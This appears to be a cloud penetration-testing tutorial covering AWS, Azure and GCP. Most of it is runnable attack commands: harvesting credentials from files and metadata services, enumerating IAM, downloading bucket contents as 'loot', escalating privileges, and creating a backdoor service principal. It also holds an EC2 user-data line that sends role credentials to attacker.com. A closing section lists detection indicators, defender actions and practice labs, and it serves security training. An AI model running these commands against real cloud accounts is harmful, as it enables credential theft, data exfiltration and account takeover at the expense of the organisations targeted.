# Cloud Attacks: AWS, Azure, and GCP

The cloud is just someone else's computer—but with an API. Cloud environments introduce new attack surfaces: IAM misconfigurations, exposed storage, metadata services, and serverless functions. Traditional network security doesn't apply when everything is an API call.

## The Shared Responsibility Model

Cloud providers secure the infrastructure. You secure everything else—and that "everything else" is where 99% of breaches happen. Misconfigured S3 buckets, overly permissive IAM roles, and exposed credentials in code repos are responsible for most cloud breaches.

## The Cloud Attack Landscape

```
┌─────────────────────────────────────────────────────────────────────────────┐
│                           CLOUD ATTACK SURFACE                               │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                              │
│  ┌─────────────────────────────────────────────────────────────────────┐    │
│  │                    IDENTITY & ACCESS (IAM)                           │    │
│  │  • Overly permissive policies    • Leaked credentials               │    │
│  │  • Cross-account trust abuse     • Role assumption chains           │    │
│  └─────────────────────────────────────────────────────────────────────┘    │
│                                    │                                         │
│          ┌─────────────────────────┼─────────────────────────┐              │
│          ▼                         ▼                         ▼              │
│  ┌───────────────┐        ┌───────────────┐        ┌───────────────┐       │
│  │    COMPUTE    │        │    STORAGE    │        │   NETWORK     │       │
│  │ • EC2/VM SSRF │        │ • Public S3   │        │ • VPC misconfig│       │
│  │ • Lambda abuse│        │ • Blob access │        │ • Security grp │       │
│  │ • Container   │        │ • Database    │        │ • Firewall     │       │
│  │   escape      │        │   exposure    │        │   bypass       │       │
│  └───────────────┘        └───────────────┘        └───────────────┘       │
│                                    │                                         │
│          ┌─────────────────────────┼─────────────────────────┐              │
│          ▼                         ▼                         ▼              │
│  ┌───────────────┐        ┌───────────────┐        ┌───────────────┐       │
│  │   SECRETS     │        │  SERVERLESS   │        │    LOGGING    │       │
│  │ • Env vars    │        │ • Event inject│        │ • Disabled    │       │
│  │ • Parameter   │        │ • Cold start  │        │ • Tampered    │       │
│  │   Store       │        │   timing      │        │ • Deleted     │       │
│  └───────────────┘        └───────────────┘        └───────────────┘       │
│                                                                              │
└─────────────────────────────────────────────────────────────────────────────┘
                COPY
```

## Amazon Web Services (AWS)

### Initial Access: Finding AWS Credentials

```
# Common places to find AWS credentials:

# Git repos
trufflehog git https://github.com/target/repo
gitleaks detect -v

# GitHub search (in browser)
# Search: "AKIA" org:targetcompany
# Search: "aws_secret_access_key" org:targetcompany

# Environment variables
env | grep -i aws
cat ~/.aws/credentials
cat ~/.aws/config

# EC2 Instance Metadata (if you have shell on EC2)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/[role-name]

# IMDSv2 (token required)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/

# ECS container credentials
curl http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI

# Lambda environment
# Check env vars in function code for hardcoded secretsCOPY
```

### IAM Enumeration

```
# Configure stolen credentials
export AWS_ACCESS_KEY_ID=AKIAXXXXXXXXXXXXXXXX
export AWS_SECRET_ACCESS_KEY=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
export AWS_DEFAULT_REGION=us-east-1

# Who am I?
aws sts get-caller-identity

# What can I do? (enumerate permissions)
# Use enumerate-iam tool
python enumerate-iam.py --access-key $AWS_ACCESS_KEY_ID --secret-key $AWS_SECRET_ACCESS_KEY

# Or manually check common actions:
aws iam list-users
aws iam list-roles
aws iam list-attached-user-policies --user-name [username]
aws iam get-policy-version --policy-arn [arn] --version-id v1

# List all policies attached to current user
aws iam list-user-policies --user-name [username]
aws iam list-attached-user-policies --user-name [username]

# Check for inline policies
aws iam get-user-policy --user-name [username] --policy-name [policy]COPY
```

### S3 Bucket Attacks

```
# Find buckets
# Check DNS, SSL certs, website source for bucket names
# Common patterns: company-backup, company-data, company-dev

# Check if bucket exists and is public
aws s3 ls s3://bucket-name --no-sign-request
aws s3 ls s3://bucket-name  # With your creds

# Download everything
aws s3 sync s3://bucket-name ./loot --no-sign-request

# Check bucket ACL
aws s3api get-bucket-acl --bucket bucket-name

# Check bucket policy
aws s3api get-bucket-policy --bucket bucket-name

# Upload test (if write access)
echo "test" > test.txt
aws s3 cp test.txt s3://bucket-name/test.txt

# Subdomain/bucket takeover
# If bucket doesn't exist but DNS points to it, you can claim it
aws s3 mb s3://unclaimed-bucket-nameCOPY
```

### Privilege Escalation in AWS

```
# If you can create/modify IAM policies:
# Create admin policy and attach to yourself

# 1. iam:CreatePolicyVersion
aws iam create-policy-version --policy-arn [target-policy] \
  --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}' \
  --set-as-default

# 2. iam:AttachUserPolicy
aws iam attach-user-policy --user-name [your-user] \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# 3. iam:PassRole + ec2:RunInstances (launch EC2 with privileged role)
aws ec2 run-instances --image-id ami-xxxxx \
  --instance-type t2.micro \
  --iam-instance-profile Name=AdminRole \
  --user-data '#!/bin/bash
curl http://attacker.com/callback?creds=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole)'

# 4. Lambda privilege escalation
# If you can create Lambda with iam:PassRole
aws lambda create-function --function-name privesc \
  --runtime python3.9 \
  --role arn:aws:iam::ACCOUNT:role/AdminRole \
  --handler lambda_function.handler \
  --zip-file fileb://function.zip

# 5. sts:AssumeRole to privileged role
aws sts assume-role --role-arn arn:aws:iam::ACCOUNT:role/AdminRole \
  --role-session-name hackedCOPY
```

Pacu - AWS Exploitation Framework

[Pacu](https://github.com/RhinoSecurityLabs/pacu) automates AWS privilege escalation. It enumerates permissions, finds privesc paths, and exploits them.

## Microsoft Azure

### Initial Access: Finding Azure Credentials

```
# Azure credential locations:

# Azure CLI
cat ~/.azure/accessTokens.json
cat ~/.azure/azureProfile.json

# PowerShell tokens
$env:AZURE_ACCESS_TOKEN

# Service Principal in environment
$env:AZURE_CLIENT_ID
$env:AZURE_CLIENT_SECRET
$env:AZURE_TENANT_ID

# Instance Metadata Service (IMDS)
curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# From Azure VMs, get managed identity token
curl -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"

# Azure DevOps PAT tokens in repos
# Search: "azure" "pat" "token" in codeCOPY
```

### Azure Enumeration

```
# Azure PowerShell
Connect-AzAccount -AccessToken $token -AccountId [account-id]

# Who am I?
Get-AzContext

# List subscriptions
Get-AzSubscription

# List resources
Get-AzResource

# List VMs
Get-AzVM

# List storage accounts
Get-AzStorageAccount

# List key vaults
Get-AzKeyVault

# Azure AD enumeration
# Install AzureAD module
Get-AzureADUser -All $true
Get-AzureADGroup -All $true
Get-AzureADApplication -All $true
Get-AzureADServicePrincipal -All $trueCOPY
```

### Azure Blob Storage Attacks

```
# Find blob storage
# Look for: *.blob.core.windows.net

# Check if container is public
curl "https://storageaccount.blob.core.windows.net/containername?restype=container&comp=list"

# List blobs (if public)
az storage blob list --container-name [container] --account-name [account] --auth-mode anonymous

# Download blobs
az storage blob download --container-name [container] --name [blob] --file ./local --account-name [account]

# Check for SAS tokens in URLs
# https://storageaccount.blob.core.windows.net/container/blob?sv=2020-08-04&ss=b&srt=co&sp=rwdlacitfx&se=2024-...
# If you find a SAS token, try escalating permissions or extending expiryCOPY
```

### Azure Privilege Escalation

```
# If you're a Global Administrator or Privileged Role Administrator:
# You can assign any role to yourself

# Assign Owner role to yourself
New-AzRoleAssignment -ObjectId [your-object-id] -RoleDefinitionName "Owner" -Scope "/subscriptions/[sub-id]"

# If you can manage applications:
# Create app with high privileges
$app = New-AzureADApplication -DisplayName "Backdoor"
$sp = New-AzureADServicePrincipal -AppId $app.AppId
New-AzRoleAssignment -ObjectId $sp.ObjectId -RoleDefinitionName "Contributor" -Scope "/subscriptions/[sub-id]"

# Abuse Automation Accounts (if you have Contributor)
# Run commands as the Automation Account's managed identity
# Create runbook with malicious code

# Abuse Logic Apps
# If you can modify a Logic App, inject actions to exfiltrate data or execute codeCOPY
```

## Google Cloud Platform (GCP)

### Initial Access: Finding GCP Credentials

```
# GCP credential locations:

# Service account keys (JSON files)
find / -name "*.json" 2>/dev/null | xargs grep -l "private_key_id"

# Default application credentials
cat ~/.config/gcloud/application_default_credentials.json
cat ~/.config/gcloud/credentials.db

# Environment variables
echo $GOOGLE_APPLICATION_CREDENTIALS
echo $CLOUDSDK_CONFIG

# Metadata server (from GCE instance)
curl -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

# Get all metadata
curl -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/?recursive=true"

# From Cloud Functions
# Automatic credential available via librariesCOPY
```

### GCP Enumeration

```
# Authenticate with service account key
gcloud auth activate-service-account --key-file=key.json

# Or with access token
gcloud config set auth/access_token [token]

# Who am I?
gcloud auth list
gcloud config get-value project

# List projects
gcloud projects list

# List compute instances
gcloud compute instances list

# List storage buckets
gcloud storage buckets list

# List service accounts
gcloud iam service-accounts list

# Get IAM policy for project
gcloud projects get-iam-policy [project-id]

# List Cloud Functions
gcloud functions list

# List Kubernetes clusters
gcloud container clusters listCOPY
```

### GCP Storage Attacks

```
# Check bucket permissions
gsutil iam get gs://bucket-name

# List bucket contents (if readable)
gsutil ls gs://bucket-name
gsutil ls -r gs://bucket-name/**

# Download bucket
gsutil -m cp -r gs://bucket-name ./loot

# Check if writable
echo "test" | gsutil cp - gs://bucket-name/test.txt

# Bucket ACLs
gsutil acl get gs://bucket-name

# Find publicly accessible buckets
# Common patterns: [company]-backup, [company]-data, [company]-stagingCOPY
```

### GCP Privilege Escalation

```
# If you have iam.serviceAccountKeys.create:
# Create a key for any service account
gcloud iam service-accounts keys create key.json \
  --iam-account=admin-sa@project.iam.gserviceaccount.com

# If you have iam.serviceAccountTokenCreator:
# Generate access token for service account
gcloud auth print-access-token --impersonate-service-account=admin-sa@project.iam.gserviceaccount.com

# If you have compute.instances.setMetadata:
# Add SSH key to instance via metadata
gcloud compute instances add-metadata [instance] \
  --metadata ssh-keys="attacker:ssh-rsa AAAA..."

# If you have cloudfunctions.functions.update:
# Modify function to run as privileged service account
gcloud functions deploy [function] \
  --service-account=admin-sa@project.iam.gserviceaccount.com \
  --source=./malicious-code

# If you have container.clusters.getCredentials:
# Get kubectl access to GKE clusters
gcloud container clusters get-credentials [cluster] --zone [zone]
kubectl get secrets --all-namespacesCOPY
```

## Cross-Cloud Techniques

### SSRF to Cloud Metadata

```
# If you find SSRF vulnerability in a cloud-hosted app:

# AWS IMDSv1
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Azure IMDS
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
# Header required: Metadata: true

# GCP Metadata
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Header required: Metadata-Flavor: Google

# Bypass header requirements with redirect:
# If app follows redirects, host a page that redirects to metadata URL
# Some implementations don't require headers on localhost/internal IPsCOPY
```

### Cloud Credential Theft Automation

```
# All-in-one cloud credential enumeration:

# CloudFox (AWS)
cloudfox aws -p [profile] all-checks

# ScoutSuite (multi-cloud)
scout aws --profile [profile]
scout azure --cli
scout gcp --service-account [key.json]

# Prowler (AWS security assessment)
./prowler -p [profile]

# Check for exposed keys in CI/CD
# GitLab CI variables, GitHub Actions secrets, Jenkins credentialsCOPY
```

## Detection Strategies

### Attack Indicators

- API calls from unusual IPs/geolocations
- Enumeration patterns (List\*, Describe\*, Get\*)
- Metadata service access from applications
- Service account key creation
- Cross-account role assumptions
- Bucket policy modifications
- Disabled CloudTrail/Activity Logs

### Defender Actions

- Enable CloudTrail/Activity Logs everywhere
- Alert on sensitive API calls
- Use IMDSv2 (AWS) with hop limit
- Implement least privilege IAM
- Regular credential rotation
- Block public S3/Blob access at org level
- Use cloud security posture management (CSPM)

### Critical CloudTrail Events (AWS)

| Event Name          | Risk      | Significance                                           |
|---------------------|-----------|-------------------------------------------------------|
| ConsoleLogin        | HIGH      | Console access from new location/IP                    |
| CreateAccessKey     | CRITICAL  | New programmatic access created                        |
| AttachUserPolicy    | CRITICAL  | Privilege escalation attempt                            |
| StopLogging         | CRITICAL  | Attacker disabling audit trail                          |
| PutBucketPolicy     | HIGH      | S3 bucket permissions changed                          |
| AssumeRole          | HIGH      | Cross-account or elevated access                        |

Cloud Security Learning

Practice cloud attacks legally with [CloudGoat](https://github.com/RhinoSecurityLabs/cloudgoat) (AWS), [AzureGoat](https://github.com/RhinoSecurityLabs/cloudgoat), and [GCPGoat](https://gcpgoat.joshuajebaraj.com/)—intentionally vulnerable cloud environments for learning.
